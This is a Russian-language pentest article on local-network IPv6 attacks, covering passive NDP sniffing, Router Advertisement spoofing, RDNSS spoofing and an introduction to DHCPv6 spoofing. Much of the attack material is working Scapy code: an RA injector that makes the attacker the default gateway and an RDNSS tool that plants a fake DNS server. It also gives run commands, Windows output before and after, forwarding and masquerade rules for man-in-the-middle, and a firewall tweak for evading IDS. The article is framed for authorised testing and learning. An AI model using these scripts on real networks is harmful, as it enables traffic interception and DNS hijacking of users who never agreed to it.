Безопасность IPv6 в последнее время стала насущной проблемой. В этой статье я расскажу об атаках на IPv6 и методах защиты.
Введение
IPv6 всё ещё далёк от повсеместного внедрения, однако большинство современных операционных систем имеют IPv6, включённый по умолчанию. В корпоративных сетях это часто приводит к появлению скрытых уязвимостей: даже если используется только IPv4, системы Windows по умолчанию предпочитают IPv6 и периодически запрашивают его настройки.
Злоумышленники могут использовать доверительную природу протоколов IPv6 для проведения атак внутри локальной сети. Особенно опасны атаки подмены (спуфинг), когда злоумышленник выдаёт себя за легитимный узел сети или внедряет поддельные пакеты с целью проведения MITM и/или DNS-спуфинга в локальной сети.

Дисклеймер
Данная статья носит ознакомительный характер и предназначена исключительно для специалистов по информационной безопасности, проводящих тестирование в рамках заключённых договоров. Автор и редакция не несут ответственности за любой ущерб, причинённый использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и тайны переписки является нарушением закона и может повлечь за собой уголовную ответственность.
Введение в IPv6
Каждое сетевое устройство с включённым IPv6 автоматически получает link-local адрес из диапазона fe80::/10.
Этот адрес формируется независимо от наличия DHCPv6 или глобального префикса и является обязательным для работы всех ключевых низкоуровневых протоколов: SLAAC (Stateless Address Autoconfiguration), NDP, RA, RS и других.
Link-local адреса действительны только в пределах одного L2-сегмента и не маршрутизируются за его пределы. Однако внутри сегмента они являются основными идентификаторами узлов в служебном трафике IPv6.
Во всех пакетах ICMPv6, включая RA и NA, отправитель должен использовать в качестве адреса источника только свой link-local адрес. Это означает, что:
DHCPv6-серверы, маршрутизаторы, клиенты и атакующие устройства обмениваются сообщениями, используя fe80::/10;
Любая машина, получившая RA или NA, запишет link-local адрес как источник маршрута, шлюза или DNS-сервера;
Злоумышленник, зная свой fe80::, может подделать RA, подменить себя в качестве шлюза или DNS, не зная глобального префикса.
Кроме того, SLAAC использует RA-пакеты от маршрутизатора, в которых указывается префикс глобального IPv6-адреса. Клиент, получивший этот RA от источника с link-local адресом, будет считать этот источник маршрутизатором, если пакет пройдёт базовую проверку параметров.
Таким образом, link-local адрес в IPv6 — это обязательный L2-идентификатор, знание которого необходимо для большинства атак подмены внутри локальной сети. Его получение и подделка не требуют прав администратора на целевой машине.
Multicast
В сетях IPv4 для обнаружения хостов в пределах сегмента использовался широковещательный трафик (broadcast). Например, ARP-запросы, NetBIOS-NS и другие. В случае с IPv6 broadcast был упразднён и заменён на группы многоадресной рассылки (multicast). То есть вместо отправки сетевых пакетов всем хостам подряд, хосты теперь слушают определённые группы, в зависимости от своей роли и контекста.
-
ff02::1 — "All-nodes multicast address", адрес для всех узлов в локальном сегменте. Фактически любое устройство с включённым IPv6 автоматически подписывается на эту группу. Если на компьютере активен IPv6, он обязан принимать этот адрес. С использованием ff02::1 отправляются:
ICMPv6 Echo Request
Router Advertisement (ICMPv6, type=134)
ff02::2 — "All-Routers Multicast Address", адрес для всех маршрутизаторов в локальном сегменте. Используется для специфических запросов, таких как Router Solicitation. Устройства, выполняющие функции маршрутизаторов IPv6, обязаны принимать пакеты, отправленные на этот адрес. Использование адреса ff02::2 маршрутизаторами является обязательным для корректной работы ICMPv6 Router Solicitation (тип 133), который отправляется конечными станциями при SLAAC (Stateless Address Autoconfiguration) или при получении информации о маршрутах сети.
Адреса ff02::/16 зарезервированы для link-local multicast. Помните, что они никогда не маршрутизируются за пределы L2-сегмента. Также использование этих адресов в качестве Multicast регламентировано в RFC 4291, Раздел: 2.7.1.
Механизм multicast-доставки — это фундаментальная особенность, от которой зависит работа протоколов автоконфигурации, обнаружения соседей и маршрутизации. В сетях IPv6 каждое устройство с активным стеком IPv6 автоматически обрабатывает определённые multicast-адреса на уровне L2-сегмента. Это требуется для работы базовых протоколов IPv6, таких как NDP, SLAAC и ICMPv6.
Например:
Все узлы обрабатывают пакеты, адресованные ff02::1 (все конечные хосты);
Устройства, выступающие в роли маршрутизаторов, обрабатывают пакеты на ff02::2 (все маршрутизаторы).
Этот механизм позволяет злоумышленнику взаимодействовать сразу со всеми хостами или маршрутизаторами в локальной сети, даже не зная их адресов. Это используется в:
Сборе информации о сети;
Атаках, связанных с ложными RA (Router Advertisement)
Перехвате DNS через RDNSS
Схема сети
Сеть для демонстрации атак будет выглядеть следующим образом. Она небольшая, но достаточная для демонстрации атак в этой статье.
Стоит отметить, что для сети выделен префикс 2001:db8::/64, то есть клиенты получают свои адреса с помощью SLAAC.

Хост |
Интерфейс |
IPv6-адрес |
R1 (Cisco IOS) |
GigabitEthernet 0/0 |
2001:DB8::1/64 |
R1 (Cisco IOS) |
Loopback0 |
4000::1 |
Attacker (Kali Linux) |
eth0 |
Префикс: 2001:DB8::/64, link-local: fe80:250:ff:fe00:100 |
F30 (Windows 10) |
Ethernet0 |
Префикс: 2001:DB8::/64 |
F31 (Windows 10) |
Ethernet0 |
Префикс: 2001:DB8::/64 |
F32 (Windows 10) |
Ethernet0 |
Префикс: 2001:DB8::/64 |
F33 (Windows 10) |
Ethernet0 |
Префикс: 2001:DB8::/64 |
F34 (Windows 10) |
Ethernet0 |
Префикс: 2001:DB8::/64 |
Сниффинг NDP
Это на самом деле чрезвычайно полезная техника для сбора информации о сетях IPv6. Конечно, мы можем использовать Multicast Ping по ff02::1 и ff02::2 для обнаружения хостов и маршрутизаторов, но эта техника довольно шумная и очень легко обнаруживается. И хосты не всегда могут ответить пакетом Reply, так как он может быть легко отфильтрован FW или даже HIPS/HBF.
Куда более интересный метод — пассивное обнаружение хостов, которое производится путём анализа трафика в эфире. То есть только анализируя эфир, можно собрать информацию о сегменте. Мы можем слушать только ключевые протоколы в рамках NDP, SLAAC, DHCPv6 и MLD, чтобы выявить активные хосты и понять, как устроена сеть.
При пассивном сборе информации в IPv6-сегменте стоит сосредоточиться на перехвате определённых типов пакетов, потому что именно они наиболее ценны для понимания структуры сети и наличия активных хостов. Большинство базовых протоколов, от автоконфигурации до разрешения адресов, общаются через multicast, а это значит, что весь процесс можно наблюдать, просто слушая трафик в сегменте.
Протокол / Тип пакета |
Направление |
Что дает |
ICMPv6 RS (Router Solicitation) |
Хост запрашивает маршрутизаторы в сегменте |
Идентификация новых устройств, запрашивающих конфигурацию |
ICMPv6 RA (Router Advertisement) |
Маршрутизатор рассылает информацию о префиксах и флагах |
Получение данных о префиксах, RDNSS, маршрутах, флагах M/O |
ICMPv6 NS (Neighbor Solicitation) |
Запрос MAC-адреса соседа или проверка DAD |
Обнаружение активных хостов и их link-local адресов |
ICMPv6 NA (Neighbor Advertisement) |
Ответ на NS, указывает MAC-адрес |
Связывание IPv6-адресов с MAC, подтверждение присутствия |
ICMPv6 DAD (Duplicate Address Detection) |
Отправка NS от ::, проверка уникальности IPv6-адреса |
Идентификация новых IPv6-адресов на этапе автоконфигурации |
DHCPv6 (Solicit, Advertise, ...) |
Запрос/раздача параметров от DHCP-серверов |
Обнаружение DHCPv6-серверов, отслеживание активности клиентов и полученных настроек |
MLD (Multicast Listener Discovery) |
Объявление о подписках на multicast-группы |
Выявление пассивных устройств, даже если они не инициируют явный трафик |
В отличие от IPv4, где нормой было агрессивное ARP-сканирование, активное сканирование сетей /64 в IPv6 просто бессмысленно, так как занимает очень много времени. Поэтому только мониторинг ICMPv6, DHCPv6 и MLD даёт нам положительный эффект. Например:
Анализ RA (Router Advertisement) выявляет активные маршрутизаторы и конфигурации префиксов;
Neighbor Solicitation/Advertisement позволяет связать MAC и IPv6-адреса в локальной сети, даже если устройства не взаимодействуют с внешним миром;
Пакеты DAD часто отправляются первыми при включении устройства, что даёт нам раннюю точку обнаружения;
Через DHCPv6 мы видим, кто запрашивает конфигурации и кто отвечает;
MLD может подсветить «спящие» устройства, которые ничего не отправляют в сеть, но подписаны на определённые группы.
Кастомный сниффер
Автоматизировать процесс анализа такого трафика можно с помощью небольшого скрипта на Python с Scapy:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
DHCP6_TYPES = {
DHCP6_Solicit: "Solicit",
DHCP6_Advertise: "Advertise",
DHCP6_Request: "Request",
DHCP6_Reply: "Reply",
DHCP6_Renew: "Renew",
DHCP6_Rebind: "Rebind",
DHCP6_RelayForward: "Relay-Forward",
DHCP6_RelayReply: "Relay-Reply"
}
ICMP6_TYPES = {
ICMPv6ND_RS: ("ICMPv6 - Router Solicitation", Fore.CYAN),
ICMPv6ND_RA: ("ICMPv6 - Router Advertisement", Fore.GREEN),
ICMPv6ND_NS: ("ICMPv6 - Neighbor Solicitation", Fore.BLUE),
ICMPv6ND_NA: ("ICMPv6 - Neighbor Advertisement", Fore.MAGENTA),
ICMPv6ND_Redirect: ("ICMPv6 - Redirect", Fore.LIGHTRED_EX),
ICMPv6MLReport: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ("ICMPv6 - MLD Done", Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest: ("ICMPv6 - Echo Request", Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ("ICMPv6 - Echo Reply", Fore.LIGHTBLACK_EX)
}
def handle(pkt):
eth_src = pkt[Ether].src if Ether in pkt else "?"
eth_dst = pkt[Ether].dst if Ether in pkt else "?"
ip6_src = pkt[IPv6].src if IPv6 in pkt else "?"
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else "?"
# ICMPv6 Detection
for proto, (desc, color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
# DHCPv6 Detection
if UDP in pkt and pkt[UDP].dport == 547:
for dhcp_type, name in DHCP6_TYPES.items():
if dhcp_type in pkt:
desc = f"DHCPv6 - {name}"
color = Fore.YELLOW
break
else:
return
else:
return
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"{Style.DIM} MAC {eth_src} -> {eth_dst}")
print(f"{Style.DIM} IPv6 {ip6_src} -> {ip6_dst}")
print(Style.RESET_ALL + "-" * 60)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="IPv6 NDP & DHCPv6 Sniffer")
parser.add_argument("-i", "--interface", required=True, help="Interface to sniff on")
parser.add_argument("-t", "--time", type=int, default=0, help="Sniff duration (0 = infinite)")
args = parser.parse_args()
print(Fore.LIGHTWHITE_EX + f"[*] Sniffing on {args.interface} for {args.time or '∞'} seconds...\n")
sniff(iface=args.interface, prn=handle, timeout=args.time or None, store=0)
Цель этого сниффера — пассивно слушать ключевые протоколы IPv6, такие как NDP, MLD и DHCPv6, и выводить полезную информацию о сетевых узлах, включая MAC-адреса, IPv6-адреса и типы сообщений. Сниффер работает следующим образом:
Выбор интерфейса: пользователь указывает сетевой интерфейс (-i eth0), с которого будет захватываться трафик. Также можно задать ограничение по времени (-t 60) или оставить режим прослушивания на неопределённый срок (по умолчанию);
Обработка пакетов: для каждого проходящего пакета вызывается функция handle(), которая проверяет его содержимое на интересующие нас типы сообщений;
-
Определение типа трафика: сниффер различает следующие сообщения:
ICMPv6 Neighbor Discovery (RS, RA, NS, NA, Redirect);
ICMPv6 MLD (Multicast Listener Discovery);
DHCPv6 (Solicit, Advertise, Reply и т.д.)
-
Извлечение данных: из каждого пакета извлекаются:
MAC-адрес отправителя и получателя;
IPv6-адреса источника и назначения.
Парсинг DHCPv6: в отличие от ICMPv6, для DHCPv6 требуется определить тип по вложенному сообщению (Solicit, Advertise и т.д.).
Пример
Вот пример реального вывода сниффера в момент анализа трафика в локальном сегменте IPv6:
~:$ sudo python3 sniffer.py -i eth0 -t 500
![Intercepted NDP Packets [MLD, DHCPv6, NA] Intercepted NDP Packets [MLD, DHCPv6, NA]](https://habrastorage.org/r/w780/getpro/habr/upload_files/072/be4/4ee/072be44ee5e4ef40426f7acd58219cc7.png)
На скриншоте видно, как сниффер в реальном времени перехватывает ключевые пакеты IPv6. Каждый из них представляет интерес для злоумышленника:
DHCPv6 Solicit — клиент ищет DHCPv6-сервер, что открывает возможность для его подмены и отправки вредоносных параметров (DNS, маршруты).
Router Solicitation (RS) — устройство запрашивает RA, а значит, уязвимо к RA Spoofing и атакам через Router Preference.
Neighbor Advertisement (NA) — участие в обмене NDP позволяет проводить атаки подмены и перехватывать трафик.
MLD Report — раскрывает, в каких multicast-группах участвует клиент, что помогает строить топологию сети и выявлять активные устройства.
Таким образом, с помощью простого анализа трафика можно собрать данные о сети, не прибегая к активному сканированию или mcast ping.
Настройка системы
Чтобы машина эффективно выполняла RA spoofing, RDNSS-инъекцию или DHCPv6-спуфинг, необходимо заранее отключить или изменить поведение системных опций IPv6, которые могут мешать или вызывать конфликты. Это особенно важно, если атака проводится не с Kali, а с базовой системы Debian/Ubuntu.
:~$ sudo ip link set dev eth0 promisc on
:~$ sudo sysctl -w net.ipv6.conf.all.accept_ra=0
:~$ sudo sysctl -w net.ipv6.conf.default.accept_ra=0
:~$ sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
:~$ sudo modprobe nf_conntrack
Во время атак ваша машина может начать отправлять пакеты ICMP Redirect, которые будут обнаружены IDS. Чтобы этого не произошло:
:~$ sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
:~$ sudo ip6tables -A INPUT -p ipv6-icmp --icmpv6-type redirect -j DROP
:~$ sudo ip6tables -A OUTPUT -p ipv6-icmp --icmpv6-type redirect -j DROP
:~$ sudo sysctl -w fs.file-max=100000
:~$ sudo sysctl -w net.core.somaxconn=65535
:~$ sudo sysctl -w net.core.netdev_max_backlog=65536
:~$ sudo sysctl -w net.ipv4.tcp_fin_timeout=15
:~$ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
:~$ sudo sysctl -w net.ipv4.tcp_max_tw_buckets=65536
Что это даёт:
netdev_max_backlog: увеличивает очередь для приёма пакетов;
somaxconn: увеличивает длину очереди TCP-соединений;
tcp_tw_*: помогает системе быстрее освобождать сокеты в состоянии TIME-WAIT;
file-max: не даёт системе упереться в лимит открытых файлов при большом количестве соединений.
Если MITM связан с TCP-проксированием (например, если вы перехватываете HTTPS или SMB), увеличенное окно TCP может ускорить передачу:
:~$ sudo sysctl -w net.ipv4.tcp_window_scaling=1
RA Spoofing
Атака RA Spoofing заключается в том, что злоумышленник отправляет поддельные пакеты Router Advertisement в локальный сегмент, выдавая себя за маршрутизатор. Это позволяет ему внедрить ложный префикс IPv6 и навязать себя в качестве шлюза по умолчанию для всех хостов. Даже если сеть, казалось бы, использует только IPv4, почти все современные ОС.
Самый важный параметр, который следует учитывать при работе с RA Spoofing, — это routerlifetime. Этот параметр сообщает хосту, сколько секунд считать отправителя RA валидным маршрутизатором. Если указать routerlifetime=0, хост удалит маршрут через этот узел. Если указать, скажем, routerlifetime=1800, он примет злоумышленника в качестве шлюза по умолчанию на следующие 30 минут.
Чем выше lifetime, тем дольше вы остаётесь в таблице маршрутизации жертвы. Нужно ли это пентестеру? Я думаю, нет. Риск DoS при MITM и так высок, поэтому атакующему нужно быть осторожным.
Флаги
Пакеты ICMPv6 RA содержат два управляющих флага:
M (Managed Address Configuration): Если установлен, хост должен использовать DHCPv6 для получения IPv6-адреса;
O (Other configuration): Если установлен, хост должен использовать DHCPv6 только для получения параметров, не связанных с адресом (например, DNS).
Комбинация флагов определяет поведение клиента:
Флаг M |
Флаг O |
Поведение |
0 |
0 |
SLAAC (только RA) |
0 |
1 |
SLAAC + DHCPv6 (только опции, как DNS) |
1 |
0 |
DHCPv6 |
1 |
1 |
DHCPv6 + возможно SLAAC |
Это критически важно для оценки поверхности атаки:
При M=0, O=0 → пакеты DHCPv6 не требуются, и атака возможна только через RA или RDNSS;
При M=1, O=1 → сеть уязвима к DHCPv6-спуфингу (например, через mitm6).
Анализ значений флагов в RA — ключ к выбору вектора атаки.
Инжектор
Скрипт для проведения атаки будет выглядеть следующим образом:
#!/usr/bin/env python3
from scapy.all import *
import argparse
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", required=True, help="Network interface (e.g., eth0)")
parser.add_argument("-m", "--mac", required=True, help="Spoofed MAC address to include in the RA")
parser.add_argument("--llip", required=True, help="Your link-local IPv6 address")
parser.add_argument("-l", "--lifetime", type=int, default=1800, help="Router Lifetime in seconds (default: 1800)")
parser.add_argument("--interval", type=int, default=5, help="Interval between packets (default: 5 seconds)")
parser.add_argument("--revert", action="store_true", help="Send RA with router lifetime = 0 to remove route")
args = parser.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = IPv6(src=args.llip, dst="ff02::1", hlim=255) / \
ICMPv6ND_RA(routerlifetime=lifetime) / \
ICMPv6NDOptSrcLLAddr(lladdr=args.mac)
mode = "REVERT" if args.revert else "SPOOF"
print(f"[+] Sending {mode} RA on {args.interface}")
print(f" Source LL IP: {args.llip}")
print(f" MAC: {args.mac}")
print(f" Lifetime: {lifetime}s")
print(f" Interval: {args.interval}s")
send(ra, iface=args.interface, loop=1, inter=args.interval)
if __name__ == "__main__":
main()
Этот скрипт реализует базовую атаку RA spoofing. Скрипт подделывает пакет Router Advertisement, который используется для указания ложного шлюза по умолчанию жертвам в локальной сети.
--interface — это сетевой интерфейс, через который будет отправляться пакет RA;
--mac — MAC-адрес, указываемый в опции Source Link-Layer Address;
--llip — злоумышленник указывает link-local IPv6-адрес, который будет источником RA;
--lifetime — время жизни маршрута по умолчанию (Router Lifetime);
--interval — злоумышленник указывает интервал между передачами RA (в секундах);
--revert — отменяет все изменения; routerlifetime=0 позволяет злоумышленнику удалить свой адрес в качестве шлюза по умолчанию на целевых хостах.
:~$ sudo python3 RA.py --interface eth0 --mac 00:50:00:00:01:00 --lifetime 300 --interval 5 --llip fe80:250:ff:fe00:100

При работе с MITM-атаками, связанными с ICMPv6, вы должны настраивать значения lifetime, чтобы избежать DoS. MITM-атаки печально известны своими рисками, но нужно знать, что делать. Тело RA-пакета от злоумышленника будет выглядеть так:


Также стоит отметить настройку Default Router Preference: High. Это указывает на приоритет данного маршрутизатора среди всех доступных. Это часть флагов RA-пакета и определяет, насколько клиент будет доверять именно этому шлюзу, если в сети их несколько.
Возможные значения:
00 — Low (низкий приоритет);
01 — Medium (по умолчанию);
10 — High (высокий приоритет).
Для атакующего установка флага Prf = High делает его компьютер предпочтительным шлюзом по сравнению с легитимными устройствами в сети, что позволяет ему:
Надёжнее перехватывать трафик (даже если реальный маршрутизатор активен);
Надёжнее поддерживать статус шлюза по умолчанию.
Когда у клиента есть несколько RA от разных маршрутизаторов в локальной сети, он сравнивает их приоритеты.
Если он видит RA с High, а текущий шлюз был Medium или Low, клиент переключится на новый шлюз, даже если время жизни предыдущего маршрута не истекло.
Это и есть механизм выбора «лучшего маршрутизатора».
Тем временем, на легитимном хосте Windows мы видим, что link-local адрес злоумышленника стал шлюзом по умолчанию на уровне IPv6. Это и было целью данной атаки. И продлится это 300 секунд, как и было указано при запуске утилиты.
C:\Users\user> ipconfig /all

Теперь трафик всех локальных хостов пойдет через компьютер злоумышленника.
Интервал
Параметр --interval управляет тем, как часто будет отправляться пакет RA. Это важно из-за своеобразного состояния гонки между вашим поддельным RA и RA-пакетами от реального маршрутизатора в сети.
Если реальный маршрутизатор отправляет свои RA-пакеты чаще, чем вы, клиенты могут снова начать использовать его в качестве основного шлюза. Поэтому, чтобы ваша атака была стабильной, интервал должен быть установлен так, чтобы ваши RA-пакеты приходили чаще, чем от легитимного устройства.
Например:
Если вы укажете --interval 10, а реальный маршрутизатор отправляет RA каждые 30 секунд, ваш спуфинг будет эффективным.
Но если у вас --interval 30, а маршрутизатор отправляет RA каждые 10 секунд, жертв будут «перехватывать» обратно.
Обычно значение от 3 до 10 секунд хорошо работает, но в некоторых сетях может потребоваться экспериментировать.
Проблемы с маршрутизацией, асимметричная маршрутизация
Одна из частых ошибок при выполнении RA spoofing — игнорирование вопроса маршрутизации на стороне злоумышленника. Даже если хост принял наш RA и считает нас шлюзом по умолчанию, это не значит, что весь трафик автоматически окажется у нас. Конечно, он сначала придет. Но потом нужно уметь его правильно обработать и отправить обратно. Иначе могут быть большие проблемы.
По умолчанию в дистрибутивах Linux маршрутизация отключена. Её нужно включить явно с помощью следующей команды, но для этого нужны права root:
:~$ sudo sysctl -w net.ipv6.conf.all.forwarding=1
:~$ sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
При реализации RA Spoofing одной из ключевых задач является обеспечение корректной маршрутизации IPv6-трафика. Даже если жертва приняла пакет RA и установила атакующую машину в качестве шлюза по умолчанию, это не гарантирует работоспособность соединения. Без правильных настроек форвардинга и трансляции исходящего трафика возникнет следующая ситуация:
Входящий трафик от жертвы поступает на атакующую систему;
Но при попытке переслать этот трафик дальше (например, в интернет) ответы от удалённых хостов не могут вернуться к жертве или маршрутизируются асимметрично;
В результате соединение разрывается: клиент отправляет SYN, получает SYN/ACK (по другому пути), не распознаёт его и сбрасывает.
Это типичный пример асимметричной маршрутизации, при которой обратный трафик обходит атакующую систему или приходит с неверным IP-адресом источника, что нарушает TCP-сессию или вызывает проблемы на L7.

Эта команда включает маскарадинг, который заменяет исходящий IPv6-адрес на адрес атакующего хоста. Это необходимо, когда:
:~$ sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Включает маскарадинг — замену исходящего IPv6-адреса на адрес атакующего хоста. Это необходимо, когда:
Злоумышленник находится не в той же подсети, что и жертва;
Трафик пересылается в другой сегмент сети или в интернет;
Невозможно или нежелательно анонсировать маршруты обратно к адресам жертвы.
Маскарадинг решает проблему возврата трафика: удалённый хост (например, внешний сервер) увидит IP-адрес злоумышленника в качестве источника и отправит ответные пакеты обратно ему. Атакующая машина затем самостоятельно отправит эти ответы жертве, замыкая цепочку.
Без этого правила обратные пакеты либо не вернутся, либо будут отправлены напрямую в обход злоумышленника (если есть альтернатива в таблице маршрутизации), что сделает атаку неэффективной.
Эффект
После этого злоумышленник, стоящий посередине, может слушать трафик. Вот пример перехваченных ICMPv6 Echo запросов и ответов между клиентом Windows и маршрутизатором Cisco IOS:
C:\Users\user>ping 4000::1

Это позволяет проводить MITM-атаки в сетях IPv6 с использованием ложных RA.
Имейте в виду, что если вы проводите эту атаку в реальной инфраструктуре, вам понадобится NAT64 (например, tayga), потому что:
Большинство хостов IPv4 по-прежнему используют интернет;
Целевые хосты, подключённые через IPv6, попытаются получить доступ к сайтам, у которых нет AAAA-записей (или они ничего не знают о NAT64);
В этой ситуации ваша машина должна транслировать IPv6-трафик жертвы в IPv4-запросы во внешний мир и обратно.
Без этого хост, чей IPv6-шлюз вы перехватили, просто потеряет доступ к половине ресурсов. Это приведёт либо к откату на текущий маршрутизатор, либо к подозрениям.
RDNSS Spoofing
RDNSS (Recursive DNS Server option) — это механизм, являющийся частью протокола IPv6 Router Advertisement (RA), описанный в RFC 8106. Он позволяет маршрутизатору передавать адреса DNS-серверов напрямую клиентам в RA-пакетах, без необходимости использовать DHCPv6.
Этот механизм используется в операционных системах, поддерживающих Stateless DNS Configuration, и позволяет клиенту автоматически настраивать DNS при получении RA.
Точка атаки
Суть спуфинга RDNSS заключается в следующем:
Злоумышленник рассылает RA-пакеты, содержащие поддельный DNS-сервер;
Клиенты, поддерживающие RDNSS, принимают этот адрес и начинают отправлять DNS-запросы через злоумышленника;
Это позволяет перехватывать, подменять или перенаправлять DNS-запросы, получая полный контроль над разрешением доменов в сети.
Зависимости от версий Windows
Поддержка RDNSS зависит от реализации стека клиента:
Windows 10 1709+, Windows 11, Linux с systemd-resolved, macOS Big Sur+ принимают RDNSS по умолчанию;
Старые версии Windows (7, 8, ранние 10) игнорируют RDNSS и используют DHCPv6 или ручную настройку DNS.
Эффективность
RDNSS Spoofing особенно эффективен в сетях, где: DHCPv6 не используется или отключён, RA-пакеты принимаются без проверки, а DNS-запросы не шифруются (нет DoH/DoT).
Всё, что нужно злоумышленнику, — это запустить RA-спуфинг с включённой опцией RDNSS, и большинство современных устройств автоматически будут использовать поддельный DNS.

Атака RDNSS Spoofing будет проводиться с помощью этой небольшой утилиты, но необходимо объяснить детали скрипта, чтобы вы поняли, как работает эта атака.
#!/usr/bin/env python3
from scapy.all import *
import argparse
def send_rdns_spoof(args):
ra = IPv6(
src=args.llip,
dst="ff02::1",
hlim=255) / ICMPv6ND_RA(routerlifetime=0) / ICMPv6NDOptRDNSS(dns=[args.dns], lifetime=args.lifetime)
print(f"[+] Sending RDNSS RA on {args.interface}")
print(f" Source LL IP: {args.llip}")
print(f" DNS: {args.dns}")
print(f" Lifetime: {args.lifetime}s")
print(f" Interval: {args.interval}s")
send(ra, iface=args.interface, loop=1, inter=args.interval)
def main():
parser = argparse.ArgumentParser(description="RDNSS Spoofing via IPv6 RA")
parser.add_argument("-i", "--interface", required=True, help="Network interface (e.g. eth0)")
parser.add_argument("--llip", required=True, help="Link-local IPv6 address (source IP)")
parser.add_argument("--dns", required=True, help="DNS server to inject (IPv6 address)")
parser.add_argument("--lifetime", type=int, default=600, help="RDNSS option lifetime (default: 600 seconds)")
parser.add_argument("--interval", type=int, default=5, help="Interval between packets in seconds")
args = parser.parse_args()
send_rdns_spoof(args)
if __name__ == "__main__":
main()
Если вы установите слишком большое значение (например, 1800 или 3600 секунд) и не будете отправлять RA повторно, а просто завершите скрипт или покинете сеть:
Клиент будет продолжать использовать поддельный DNS до конца его времени жизни;
Если DNS больше не будет доступен (например, злоумышленник выключил машину), это приведёт к сбою разрешения имён;
Фактически, это становится непреднамеренной DoS-атакой.
Если вы хотите временный перехват на 60 или 120 секунд, укажите --lifetime 60 или --lifetime 120.
Если спуфинг должен длиться долго — поддерживайте его, повторно отправляя RA.
Если вам нужно удалить запись у клиента, отправьте тот же RA с --lifetime 0, и он удалит DNS из кеша.
:~$ sudo python3 rdnss.py -i eth0 --llip fe80::20c:29ff:fef0:470d --dns fe80::20c:29ff:fef0:470d --lifetime 100 --interval 30
[+] Sending RDNSS RA on eth0
Source LL IP: fe80::20c:29ff:fef0:470d
DNS: fe80::20c:29ff:fef0:470d
Lifetime: 100s
Interval: 30s

На скриншоте мы видим, что мы отправили определённый пакет ICMPv6 RA с опцией RDNSS, чтобы злоумышленник мог навязать свой компьютер в качестве адреса IPv6 DNS-сервера. Об этом свидетельствуют выделенные на скриншоте заголовки. Их время жизни равно значениям, которые мы указали при запуске инструмента атаки.
RDNSS не перезаписывает текущий DNS, а добавляется в список DNS-серверов в systemd-resolved или Windows — может возникнуть гонка между DHCP и RDNSS.
Также хочу напомнить, что в заголовке RA я указал routerlifetime=0, чтобы не подменять себя в качестве шлюза по умолчанию. Это не входит в наши задачи при атаке на RDNSS.
Теперь мы можем убедиться, что на машине Windows произошёл спуфинг RDNSS и что LL IPv6-адрес злоумышленника появился на хосте в качестве адреса IPv6 DNS-сервера:

До атаки:
C:\Windows\system32>netsh interface ipv6 show dnsservers
Configuration for interface "Ethernet0"
DNS servers configured through DHCP: None
Register with which suffix: Primary only
Configuration for interface "Loopback Pseudo-Interface 1"
Statically Configured DNS Servers: fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
Register with which suffix: Primary only
После RDNSS Spoofing:
C:\Windows\system32>netsh interface ipv6 show dnsservers
Configuration for interface "Ethernet0"
DNS servers configured through DHCP: fe80::20c:29ff:fef0:470d%11
Register with which suffix: Primary only
Configuration for interface "Loopback Pseudo-Interface 1"
Statically Configured DNS Servers: fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
Register with which suffix: Primary only
fe80::20c:29ff:fef0:470d — это link-local адрес злоумышленника.
Однако MITM-атаки и даже DNS/RDNSS-атаки разрушительны, если нет детального понимания того, как работает атака. Злоумышленник должен рассчитать временной интервал, в течение которого он будет подменять адрес. Если злоумышленник захочет удалить свой адрес в качестве DNS-сервера на целевом хосте, он должен повторно выполнить скрипт, указав --lifetime 0
:~$ sudo python3 rdnss.py -i eth0 --llip fe80::20c:29ff:fef0:470d --dns fe80::20c:29ff:fef0:470d --lifetime 0 --interval 5
[+] Sending RDNSS RA on eth0
Source LL IP: fe80::20c:29ff:fef0:470d
DNS: fe80::20c:29ff:fef0:470d
Lifetime: 0s
Interval: 5s
Таким образом, вы можете влиять на DNS, используя особенности протокола ICMPv6, добавляя опцию RDNSS. На самом деле это очень простой и эффективный инструмент. Однако его нужно использовать с умом, чтобы избежать сбоев в сети и прерывания бизнес-процессов. Я знаю, что у спуфинг-атак также плохая репутация в продакшене, но при глубоком понимании сетей этого можно избежать.

И в некотором смысле это превосходит mitm6, который в основном полагается на отправку DHCPv6-сообщений. Здесь мы можем умело управлять RA-пакетами, подставлять нужные заголовки и настраивать определённые значения. Освоение этого поможет вам лучше понять сети и атаки на них.
Перехват DNS с помощью DHCPv6
Одна из самых популярных утилит в арсенале пентестеров для атак на сети Windows.
mitm6 — это инжектор пакетов DHCPv6, который позволяет злоумышленнику выдавать себя за легитимный DHCPv6-сервер и предоставлять ложные конфигурации клиентам DHCPv6, в частности, подменять адрес DNS-сервера на уровне IPv6.
Подробнее об этой атаке вы можете прочитать в нашей статье Neurotransmitter.
Типы пакетов DHCPv6
Протокол DHCPv6 имеет следующие типы сообщений:
DHCPv6 Solicit: Это сообщение отправляется клиентом для инициации связи с DHCPv6-серверами. Клиент передает это сообщение широковещательно или многоадресно, чтобы идентифицировать доступные DHCP-серверы в сети. DHCPv6-серверы, получив Solicit, могут ответить сообщением DHCP Advertise, предлагая свою конфигурацию.
DHCPv6 Advertise: Это сообщение является ответом DHCPv6-сервера на сообщение DHCPv6 Solicit, полученное от клиента. Сервер использует это сообщение, чтобы сообщить клиенту, что он доступен для отправки конфигурации (def. GW, DNS Server и т.д.).
